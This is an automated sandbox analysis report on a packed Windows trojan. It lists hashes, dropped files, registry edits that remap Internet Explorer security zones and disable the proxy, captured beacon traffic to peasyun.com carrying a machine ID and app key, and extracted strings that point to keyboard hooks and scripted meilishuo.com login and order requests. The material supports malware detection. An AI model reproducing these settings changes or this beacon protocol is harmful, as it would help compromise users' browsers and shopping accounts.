MD5: dcba2ed4acce13ede72346bfd6b6558e
SHA1: 74fcbb4743600290e03cecfc5a57fe0c5fd4b148
SHA256: c67b0905e27498d2cd1a3090a606d7895f8c9c125b1e34531c05ef46d791bbf6
SSDeep: 98304:bMwIhogt3IY3SNK/G9tFhy5aMPyxksSV41AynV0QZ7WZGOOBgF:SKNK8OFPfJ YQFWZGOOSF
Size: 3518464 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, ACProtect141
Company: Slsysernaint
Created at: 2014-11-11 18:06:18
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:1328

Mutexes

The following mutexes were created/opened:

!IETld!Mutex
ZonesLockedCacheCounterMutex
ZoneAttributeCacheCounterMutex
ZonesCacheCounterMutex
ZonesCounterMutex
WininetConnectionMutex
WininetProxyRegistryMutex
WininetStartupMutex
c:!documents and settings!adm!local settings!history!history.ie5!
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
_!MSFTHISTORY!_
CTF.TimListCache.FMPDefaultS-1-5-21-796845957-1563985344-1801674531-1003MUTEX.DefaultS-1-5-21-796845957-1563985344-1801674531-1003
CTF.TMD.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003
CTF.Layouts.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003
CTF.Asm.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003
CTF.Compart.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003
CTF.LBES.MutexDefaultS-1-5-21-796845957-1563985344-1801674531-1003
RasPbFile
ShimCacheMutex

File activity

The process %original file name%.exe:1328 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\EV1E2DS7.txt (104 bytes)
C:\PEAS.dll (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\7cd4bb31f0c2d21481f1a7cd[1].htm (2794 bytes)

Registry activity

The process %original file name%.exe:1328 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 8B DE 69 21 2C CA FA B0 0D 73 29 09 50 E8 03"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1176x885x32(BGR 0)" = "31,31,31,31"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 01 00 00 00 00 00 00 00"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: ????????
Product Version: 2.1.0.0
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: ????????
Comments: ????????
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://hi.n.shifen.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd
hxxp://www.peasyun.com/Api-V1-gettime	61.160.224.238
hxxp://www.peasyun.com/Api-V1-setup	61.160.224.238
hxxp://www.peasyun.com/Api-V1-info	61.160.224.238
hxxp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd	180.76.2.41

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /Api-V1-gettime HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31

Accept: */*

Host: VVV.peasyun.com

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Dec 2014 00:32:40 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Vary: Accept-Encoding

X-Powered-By: PHP/5.4.24

Set-Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: loingran=NZKOMy; path=/
6..NZKOMy..0......


POST /Api-V1-setup HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31

Accept: */*

Host: VVV.peasyun.com

Content-Length: 118

Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; loingran=NZKOMy; path=/

Content-Type: application/x-www-form-urlencoded

Cache-Control: no-cache

mac=45254AF5E44F9BEDB2240FE25FE113D7&api_version=1.0&appid=1645499&appkey=78848E165471ACDBAF6F54C52EE9196A&version=3.6
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Dec 2014 00:32:41 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Vary: Accept-Encoding

X-Powered-By: PHP/5.4.24

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: gettim=1418862761; path=/

Set-Cookie: mac=45254AF5E44F9BEDB2240FE25FE113D7; path=/

Set-Cookie: appid=1645499; path=/

Set-Cookie: appkey=78848E165471ACDBAF6F54C52EE9196A; path=/

Set-Cookie: version=3.6; path=/
1..1..0......


GET /Api-V1-gettime HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31

Accept: */*

Host: VVV.peasyun.com

Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; loingran=NZKOMy; gettim=1418862761; mac=45254AF5E44F9BEDB2240FE25FE113D7; appid=1645499; appkey=78848E165471ACDBAF6F54C52EE9196A; version=3.6; path=/

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Dec 2014 00:32:41 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Vary: Accept-Encoding

X-Powered-By: PHP/5.4.24

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache
6..NZKOMy..0......


POST /Api-V1-info HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31

Accept: */*

Host: VVV.peasyun.com

Content-Length: 118

Cookie: PHPSESSID=2911vrfkq2eevmclfcgdusu7p4; loingran=NZKOMy; gettim=1418862761; mac=45254AF5E44F9BEDB2240FE25FE113D7; appid=1645499; appkey=78848E165471ACDBAF6F54C52EE9196A; version=3.6; path=/

Content-Type: application/x-www-form-urlencoded

Cache-Control: no-cache

mac=45254AF5E44F9BEDB2240FE25FE113D7&api_version=1.0&appid=1645499&appkey=78848E165471ACDBAF6F54C52EE9196A&version=3.6
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Dec 2014 00:32:41 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By-360WZB: wangzhan.360.cn

Vary: Accept-Encoding

X-Powered-By: PHP/5.4.24

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: mac=45254AF5E44F9BEDB2240FE25FE113D7; path=/

Set-Cookie: appid=1645499; path=/

Set-Cookie: appkey=78848E165471ACDBAF6F54C52EE9196A; path=/

Set-Cookie: version=3.6; path=/
4d...........-.........::4.1::......hXXp://url.cn/XWl1Qb............::
::1::220::0..0..

GET /vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd HTTP/1.1

Referer: hXXp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd

Accept: */*

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: hi.baidu.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Set-Cookie: BAIDUID=E2AECF08AD89E76E3264D70A9F6316EB:FG=1; max-age=31536000; expires=Fri, 18-Dec-15 00:32:37 GMT; domain=.baidu.com; path=/; version=1

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Set-Cookie: CANAL=101; path=/; domain=.hi.baidu.com

Content-type: text/html

Transfer-Encoding: chunked

Connection: close

Date: Thu, 18 Dec 2014 00:32:38 GMT

Server: apache
fe7..               <!DOCTYPE html><html  id="customDoc">&
lt;!--STATUS OK--> <head> <meta http-equiv=Content-Type co
ntent="text/html; charset=utf-8"> <title> ............1_.....
................_............</title> <link rel="shortcut ico
n" href="hXXp://hi.bdimg.com/static/qbase/img/mod/16_favicon.ico?v=116
ba471.ico" type=image/x-icon>   <meta name=keywords content="...
.........1,"> <meta name=description content=",............1">
;<script>window.wpo={start:new Date*1,pid:109,page:'qing'}</s
cript><!--[if IE]><script type="text/javascript">(funct
ion(){var e="abbr,article,aside,audio,canvas,datalist,details,dialog,e
ventsource,figure,footer,header,hgroup,mark,menu,meter,nav,output,prog
ress,section,time,video".split(","),t=e.length;while(t--)document.crea
teElement(e[t])})();</script><![endif]--><script>win
dow.qDomain={"qing":"hXXp://hi.baidu.com","static":"hXXp://hi.bdimg.co
m","passport":"hXXps://passport.baidu.com","portrait":"hXXp://tx.bdimg
.com","hiup":"hXXp://hi.baidu.com","photo":"hXXp://hiphotos.baidu.com"
,"message":"hXXp://msg.baidu.com","friend":"hXXp://frd.baidu.com","mp3
":"hXXp://mp3.baidu.com","ting":"hXXp://ting.baidu.com","image":"http:
//img.baidu.com","qup":"hXXp://upload.hi.baidu.com","www":"hXXp://VVV.
baidu.com"};window.qUserInfo={"userName":"............","nickname":"..
..........","portrait":"c222766c74676d777964696e6261627871274f","qingU
rl":"\/vltgmwydinbabxq","spaceName":".....................","right
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

.rdata

@.data

.rsrc

t%SVh

t$(SSh

~%UVW

u$SShe

PEAS.dll

wininet.dll

ole32.dll

kernel32.dll

shlwapi.dll

rasapi32.dll

ADVAPI32.DLL

advapi32.dll

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoA

MsgWaitForMultipleObjects

&password=

/PEAS.dll

`.rdata

@.reloc

SSShl

.QZ^&

~$)~()|$

SSSSh

t'SShl

j%XtL9E

FtPW

SSh@B

FTCP

tAHt.HHt

@ SSHPWj

tWSShW

tl9_ tgSSh

<SShG

CNotSupportedException

%s (%s:%d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

KERNEL32.DLL

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

lX-X-x-XX-XXXXXX

RegOpenKeyTransactedA

Advapi32.dll

RegCreateKeyTransactedA

RegDeleteKeyTransactedA

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

comctl32.dll

comdlg32.dll

shell32.dll

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

RegDeleteKeyExA

lXXxXXXXXXXX

Shell32.dll

%s:%x:%x:%x:%x

user32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

CMDITabProxyWnd

CMDIChildWndEx

CMDIFrameWndEx

%sMFCToolBar-%d%x

%sMFCToolBar-%d

%sMFCToolBarParameters

TOOLBAR_RESETKEYBAORD

KeyboardManager

MSG_CHECKEMPTYMINIFRAME

%sDockingManager-%d

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

CMDIChildWnd

CMDIFrameWnd

&%d %s

CMDIClientAreaWnd

%sMDIClientArea-%d

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

%sBasePane-%d%x

%sBasePane-%d

%sPane-%d%x

%sPane-%d

windows

ShowCmd

Hex={X,X,X}

%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d

MFCLink_UrlPrefix

MFCLink_Url

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

%c%d%c%s

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d

ENABLE_KEYS

KEYS_MENU

KEYS

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

CMFCToolBarsKeyboardPropertyPage

RGB(%d, %d, %d)

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d

operator

GetProcessWindowStation

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31

HTTP/1.1 302 Found

Set-Cookie: %s

HaiOu ProxyHttp

HTTP/1.1

Host: %s

CPUID:%s

DISK:%s

MAC:%s

MD5:%s

hXXp://VVV.peasyun.com/Api-V1-gettime

hXXp://VVV.peasyun.com/Api-V1-

appkey

%s%s%s

mac=%s&api_version=%s&appid=%s&appkey=%s&version=%s

login

: this object doesn't support resynchronization

StreamTransformation: this object doesn't support random access

XXXXXX

XX

: this object does't support a special last block

: this object doesn't support multiple channels

is not a valid key length

?#%X.y

E:\Visual Studio 2010\Projects\AuthorAPI\Release\PEAS.pdb

GetCPInfo

GetWindowsDirectoryA

KERNEL32.dll

UnhookWindowsHookEx

GetKeyState

SetWindowsHookExA

GetAsyncKeyState

MapVirtualKeyA

GetKeyboardLayout

GetKeyboardState

CreateDialogIndirectParamA

GetKeyNameTextA

MapVirtualKeyExA

USER32.dll

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

GDI32.dll

MSIMG32.dll

COMDLG32.dll

WINSPOOL.DRV

RegOpenKeyExA

RegCloseKey

RegEnumKeyA

RegCreateKeyExA

RegDeleteKeyA

RegEnumKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

COMCTL32.dll

UrlUnescapeA

SHLWAPI.dll

OLEAUT32.dll

NETAPI32.dll

HttpAddRequestHeadersA

HttpSendRequestExA

HttpEndRequestA

InternetCrackUrlA

InternetCanonicalizeUrlA

WININET.dll

GdiplusShutdown

gdiplus.dll

OLEACC.dll

IMM32.dll

WINMM.dll

LOGIN

.PAVCOleException@@

.PAVCException@@

.PAVCObject@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.?AVCCmdTarget@@

.PAVCArchiveException@@

.PAVCFileException@@

.?AVCCmdUI@@

.PAVCResourceException@@

.PAVCUserException@@

.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDV12@PBD@@

.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDPAVCDocument@@PAV3@@@

.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD_N_N@@

.?AV?$CMap@PAVCDocument@@PAV1@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD@@

.?AVCTestCmdUI@@

.?AVCMDITabProxyWnd@@

.?AVCMDIChildWndEx@@

.?AVCMDIChildWnd@@

.?AVCMDIFrameWndEx@@

.?AVCMDIFrameWnd@@

.?AVCMFCToolBarCmdUI@@

.?AV?$CList@PAVCMDIChildWndEx@@PAV1@@@

.?AVCMDIClientAreaWnd@@

.?AVCMFCRibbonCmdUI@@

.?AVCMFCCmdUsageCount@@

.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDPAVCObList@@PAV3@@@

.?AVCMFCColorBarCmdUI@@

.?AV?$CMap@KKV?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBD@@

.?AVCMFCAcceleratorKey@@

.?AVCMFCRibbonKeyTip@@

.?AVCMFCToolBarsKeyboardPropertyPage@@

.?AV?$CMap@V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@PBDHH@@

.?AVCMFCTasksPaneToolBarCmdUI@@

.?AVCMFCAcceleratorKeyAssignCtrl@@

zcÁ

.?AVHexEncoder@CryptoPP@@

.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@

.?AVSimpleKeyingInterface@CryptoPP@@

.?AV?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@

.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@

.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@

.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@

.?AVInvalidKeyLength@CryptoPP@@

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><application xmlns="urn:schemas-microsoft-com:asm.v3"><windowsSettings><ms_windowsSettings:dpiAware xmlns:ms_windowsSettings="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings" xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</ms_windowsSettings:dpiAware></windowsSettings></application></assembly>PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING

6(636_6~6

8"9(92989

4#4 4>425`5

7)7.737=7^7

3%4S4[4

%0H0{0A1V1=3

8-9K9Y9}9

<(<.<7<<<\<~<

6.646<6\6

9%9u9

< <0<,=;=

01171>1|1

3=3}3

7#7'7 7/737

2&3.363>3~3

6 6$686<6

> >$>(>,>

1 1$1(1,101

:(:0:<:`:

4 4(404<4`4

1$10141<1

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

http=

https

hXXps://

hXXp://

Adodb.Stream

meilishuo.com

hXXp://VVV.meilishuo.com/user/login

hXXp://VVV.meilishuo.com/aj/doota/cart_number

login_name=

hXXps://account.meilishuo.com/aw/user/logon

MEILISHUO_GLOBAL_KEY=

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

hXXp://order.meilishuo.com/aj/doota/address_add

hXXp://order.meilishuo.com/address/

rs.goods = {"id" : "

hXXp://order.meilishuo.com/coupon/

&shop_coupon[0][coupon_id]=

&shop_coupon[0][shop_id]=

&amount=1&color=颜色__

.zz.6__0.1.1.3.r_hdtpairbuy.t_shop.abtest_1.ot_

&weixin_coupon=0&source=4-0.0.1&goods_pid=pc.

hXXp://order.meilishuo.com/order/create/

&color=颜色__

.zz.&goods_id=

hXXp://order.meilishuo.com/order/weixin_pay/?order_id=

Referer: hXXp://order.meilishuo.com/order/init/?goods_pid=pc.

hXXp://order.meilishuo.com/order/detail/?order_id=

VVV.baidu.com

hXXp://order.meilishuo.com/cart

hXXp://order.meilishuo.com/cart/del/

source=5-0.0.1&goods_pid=wap.

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A405 Safari/8536.25

hXXp://m.meilishuo.com/aw/doota/addToCarts

hXXp://order.meilishuo.com/order?status=1

%du2$"

.unOZ

hXXp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd

1645499

hXXp://VVV.meilishuo.com/share/item/

%S4WD

hg%fpM

S.Ac9SR

0.I%3s

,wAe.kI

aiUy'4xu

%c*@j

.eH'y

{&%U)

lj%4U

xe%CNs

9F.cLe

hJK.ZH

O.qt0

MSVCRT.dll

MSVFW32.dll

SkinH_EL.dll

hXXp://VVV.ip138.com

\Microsoft\Network\Connections\pbk\rasphone.pbk

@PEAS.dll

112891406)

112891406

2014-09-09 01:12

140909612861

Adobe Photoshop CS4 Windows

2014:09:09 01:08:18

urlTEXT

MsgeTEXT

-hXXp://ns.adobe.com/xap/1.0/

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="hXXp://purl.org/dc/elements/1.1/" xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/" xmlns:tiff="hXXp://ns.adobe.com/tiff/1.0/" xmlns:exif="hXXp://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CS4 Windows" xmp:MetadataDate="2014-09-09T01:08:18 08:00" xmp:ModifyDate="2014-09-09T01:08:18 08:00" xmp:CreateDate="2014-09-09T01:08:18 08:00" xmpMM:InstanceID="xmp.iid:427098BA7A37E41198C4E19FFA1C991A" xmpMM:DocumentID="xmp.did:417098BA7A37E41198C4E19FFA1C991A" xmpMM:OriginalDocumentID="xmp.did:417098BA7A37E41198C4E19FFA1C991A" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" tiff:Orientation="1" tiff:XResolution="720000/10000" tiff:YResolution="720000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;17DE5153D49713B310AF99E35829A5AF" exif:PixelXDimension="200" exif:PixelYDimension="241" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;34FD4E3D307676C9E49EBE442DC273D2"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:417098BA7A37E41198C4E19FFA1C991A" stEvt:when="2014-09-09T01:08:18 08:00" stEvt:softwareAgent="Adobe Photoshop CS4 Windows"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:427098BA7A37E41198C4E19FFA1C991A" stEvt:when="2014-09-09T01:08:18 08:00" stEvt:softwareAgent="Adobe Photoshop CS4 Windows" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?>

IEC hXXp://VVV.iec.ch

.IEC 61966-2.1 Default RGB colour space - sRGB

CRT curv

>1.2.18

A inflate 1.1.3 Copyright 1995-1998 Mark Adler

%*.*f

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

MSWHEEL_ROLLMSG

__MSVCRT_HEAP_SELECT

RASAPI32.dll

AVIFIL32.dll

iphlpapi.dll

MPR.dll

WS2_32.dll

VERSION.dll

GetProcessHeap

WinExec

WLDAP32.dll

(*.prn)|*.prn|

(*.*)|*.*||

Mpr.dll

User32.dll

Gdi32.dll

Kernel32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

\\.\Scsi0:

\\.\PhysicalDrive0

%s:%d

out.prn

%d.%d

%d / %d

%d/%d

Bogus message code %d

(%d-%d):

%ld%c

%s <%s>

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

(*.avi)|*.avi

1.2.18

WPFT532.CNV

WPFT632.CNV

EXCEL32.CNV

write32.wpc

Windows Write

mswrd632.wpc

Word for Windows 6.0

wword5.cnv

Word for Windows 5.0

mswrd832.cnv

mswrd632.cnv

Word 6.0/95 for Windows & Macintosh

html32.cnv

1.1.3

NULL row buffer for row %ld, pass %d

libpng error: %s

libpng error: %s, offset=%d

libpng error no. %s: %s

libpng warning: %s

libpng warning no. %s: %s

keywords

Unknown zTXt compression type %d

Incomplete compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

gamma = (%d/100000)

gx=%f, gy=%f, bx=%f, by=%f

wx=%f, wy=%f, rx=%f, ry=%f

incorrect gamma=(%d/100000)

iTXt chunk not supported.

VVV.dywt.com.cn

c:\%original file name%.exe

#include "l.chs\afxres.rc" // Standard components

SHELL32.DLL

dwmapi.dll

UxTheme.dll

accKeyboardShortcut

hhctrl.ocx

USER32.DLL

RICHED20.DLL

ekernel32.dll

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

(*.*)

1, 0, 6, 6

- Skin.dll

(*.*)

2.1.0.0

%original file name%.exe_1328_rwx_00401000_00101000:

t%SVh

t$(SSh

~%UVW

u$SShe

%original file name%.exe_1328_rwx_10000000_0003E000:

`.rsrc

L$(h%f

SSh0j

msctls_hotkey32

TVCLHotKey

THotKey

\skinh.she

}uo,x6l5k%x-l h

9p%s m)t4`#b

e"m?c&y1`Ð<

SetViewportOrgEx

SetViewportExtEx

SetWindowsHookExA

UnhookWindowsHookEx

EnumThreadWindows

EnumChildWindows

`c%US.4/

!#$<#$#=

.text

`.rdata

@.data

.rsrc
